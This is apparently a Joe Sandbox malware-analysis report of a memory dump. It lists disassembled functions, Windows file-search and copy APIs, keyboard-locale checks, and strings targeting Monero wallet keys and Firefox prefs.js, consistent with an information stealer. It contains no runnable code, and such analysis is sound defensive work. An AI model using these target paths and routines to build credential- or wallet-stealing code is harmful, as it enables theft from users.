Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 0bd13d4d57dfce75044853c128eee5379e8ea7ab957c78e8ff8eef99fe9bf381
Instruction ID: e913659a028f83bc401e1e495bc58ed9fdb62bf2d618f445fbbb980fbc5c2686
Opcode Fuzzy Hash: 0bd13d4d57dfce75044853c128eee5379e8ea7ab957c78e8ff8eef99fe9bf381
Instruction Fuzzy Hash: FB5165B2900219ABCB24EBB0DD46FEA737CBF48700F44459CB25D92044DB79AB859F61

Function 00FBED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FBED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FBED55
StrCmpCA.SHLWAPI(?,00FD1538), ref: 00FBEDAB
StrCmpCA.SHLWAPI(?,00FD153C), ref: 00FBEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBF2AE
FindClose.KERNEL32(000000FF), ref: 00FBF2C3

Strings

%s\*.*, xrefs: 00FBED32

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: c34352d4309462fda64fe1d2c582d264190d71829043d09ec0ae9ba8aee2cf0b
Instruction ID: cbf3a044b7df04cac8de88851e8214f8e582ec873fa55d7201688fc508f6f69c
Opcode Fuzzy Hash: c34352d4309462fda64fe1d2c582d264190d71829043d09ec0ae9ba8aee2cf0b
Instruction Fuzzy Hash: F5E1BD7191111D9AEB68EB60DD53FEE7338AF54304F4041ADB50A62092EE387F8AEF51

Function 00FBF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD15B8,00FD0D96), ref: 00FBF71E
StrCmpCA.SHLWAPI(?,00FD15BC), ref: 00FBF76F
StrCmpCA.SHLWAPI(?,00FD15C0), ref: 00FBF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBFAB1
FindClose.KERNEL32(000000FF), ref: 00FBFAC3

Strings

prefs.js, xrefs: 00FBF812

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d222fa31615b2030bd86b649eee27197ab6b64461dddc63c816d649bf79b9b60
Instruction ID: 3a9b12e7b7eb656574292ae50e9d79854e53069b81640732f7f908dac419dfb8
Opcode Fuzzy Hash: d222fa31615b2030bd86b649eee27197ab6b64461dddc63c816d649bf79b9b60
Instruction Fuzzy Hash: 5DB143719001099BDB28EF60DD97FED7379AF54304F4085ADA40A97181EF38AB49EF92

Function 00FB16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD510C,?,?,?,00FD51B4,?,?,00000000,?,00000000), ref: 00FB1923
StrCmpCA.SHLWAPI(?,00FD525C), ref: 00FB1973
StrCmpCA.SHLWAPI(?,00FD5304), ref: 00FB1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FB1D40
DeleteFileA.KERNEL32(00000000), ref: 00FB1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FB1E20
FindClose.KERNEL32(000000FF), ref: 00FB1E32

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Strings

\*.*, xrefs: 00FB17F1

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 1d388caaa9d0122fbd1d792587cd91265602980f4e53a031e98d81568b92e244
Instruction ID: 838dbe4bf447caf1fb40172993dc19fa380b1cc96e80c5b1ee7f78dc0b74034d
Opcode Fuzzy Hash: 1d388caaa9d0122fbd1d792587cd91265602980f4e53a031e98d81568b92e244
Instruction Fuzzy Hash: E912C97191011D9BDB29EB60DD97FEE7378AF54304F4041ADA10A620D1EE387B89EF92

Function 00FBDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00FD0C2E), ref: 00FBDE5E
StrCmpCA.SHLWAPI(?,00FD14C8), ref: 00FBDEAE
StrCmpCA.SHLWAPI(?,00FD14CC), ref: 00FBDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBE3E0
FindClose.KERNEL32(000000FF), ref: 00FBE3F2

Strings

\*.*, xrefs: 00FBDE26

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 0718964c79f684fc0e41165f400d671ef5ee3902245c85df4b29f122702cffaa
Instruction ID: a6a1d176a5b40724f01dea5b268f4a55d41ebc5e449bc8af8a7cd7f5e90c22c9
Opcode Fuzzy Hash: 0718964c79f684fc0e41165f400d671ef5ee3902245c85df4b29f122702cffaa
Instruction Fuzzy Hash: 47F17B7181411D9BDB29EB60DD96FEE7338AF14304F40419EA41A62091EE387F8ADE52

Function 00FBDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00FD14B0,00FD0C2A), ref: 00FBDAEB
StrCmpCA.SHLWAPI(?,00FD14B4), ref: 00FBDB33
StrCmpCA.SHLWAPI(?,00FD14B8), ref: 00FBDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBDDCC
FindClose.KERNEL32(000000FF), ref: 00FBDDDE

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d185a6a3605c785c718d3dbf2c0eb0d4a02fea9a85d7109c384bdf09fde5b6f5
Instruction ID: 781241dea92b82b6a6f0ef1d4f8178c7771ebbae33a5db5e012e729e6c950df2
Opcode Fuzzy Hash: d185a6a3605c785c718d3dbf2c0eb0d4a02fea9a85d7109c384bdf09fde5b6f5
Instruction Fuzzy Hash: 6F9133729001099BCB14FB70ED57EED737DAF84304F40866CB81A96185FE38AB599F92

Function 00FC7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

GetKeyboardLayoutList.USER32(00000000,00000000,00FD05AF), ref: 00FC7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00FC7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00FC7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00FC7C62
LocalFree.KERNEL32(00000000), ref: 00FC7D22

Strings

/ , xrefs: 00FC7C7F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9e244e51b4f222332789c97875b9d8c26c2016ab79872bb70a1de21956ad4784
Instruction ID: 260bee2255410e70c51aa9a7413246aa9d396ff66130991b575cf0e990f59ab0
Opcode Fuzzy Hash: 9e244e51b4f222332789c97875b9d8c26c2016ab79872bb70a1de21956ad4784
Instruction Fuzzy Hash: 4741287194021DABCB24EB94DD9AFEEB374FF44704F204199E40A62280DB786E85DFA1

Function 0137999B Relevance: 10.3, Strings: 7, Instructions: 1563COMMON

Download Yara Rule

Strings

@Tm, xrefs: 01379F03
"JoR, xrefs: 0137A648
!5y, xrefs: 01379B36
w_~, xrefs: 0137A2A4
|%/I, xrefs: 01379AE8
&&7>, xrefs: 01379EC7
fp?, xrefs: 0137A5D3

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !5y$"JoR$&&7>$@Tm$fp?$w_~$|%/I
API String ID: 0-4263199632
Opcode ID: c34427f028f08696c64a6c8d0ae6391fb2a3d4cef0b2ab099168b0b7667a2888
Instruction ID: 05cdf1741658230db11c268d4e323a446f86ba9024dedca74cf95d266f51c15c
Opcode Fuzzy Hash: c34427f028f08696c64a6c8d0ae6391fb2a3d4cef0b2ab099168b0b7667a2888
Instruction Fuzzy Hash: 85B203F360C204AFE3086E2DEC8567AFBE9EF94720F16492DE6C5C3744EA3558418B56

Function 00FBE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00FD0D73), ref: 00FBE4A2
StrCmpCA.SHLWAPI(?,00FD14F8), ref: 00FBE4F2
StrCmpCA.SHLWAPI(?,00FD14FC), ref: 00FBE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBEBDF

Strings

\*.*, xrefs: 00FBE44D

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: a51d0747d230651e89888983a3afca229691636028b58f4fa7167105c69008ac
Instruction ID: 96b60b4fbba8590df5cec64286f08ba594b34628a92ccd20b1e02c87bbb87fea
Opcode Fuzzy Hash: a51d0747d230651e89888983a3afca229691636028b58f4fa7167105c69008ac
Instruction Fuzzy Hash: 3412197191011D9BDB28FB60DE97FED7339AF54304F4041ADA50A921C1EE386F49EBA2

Function 01374B43 Relevance: 9.1, Strings: 6, Instructions: 1612COMMON

Download Yara Rule

Strings

$`, xrefs: 013757D0
e!], xrefs: 013757E5
g; , xrefs: 01375E38
%Yy, xrefs: 013755CA
l\O, xrefs: 01374C97
pj+, xrefs: 0137531F

Memory Dump Source

Source File: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: l\O$$`$%Yy$e!]$g; $pj+
API String ID: 0-3638067969
Opcode ID: 4a9c8023efe509bf0edd2522acb12609e9e55d57847a0fb0056202237163bb57
Instruction ID: 4a7eb45e03ae3881b081c057f26f88160c82d52ae76025c1ede92af87ecc2c4d
Opcode Fuzzy Hash: 4a9c8023efe509bf0edd2522acb12609e9e55d57847a0fb0056202237163bb57
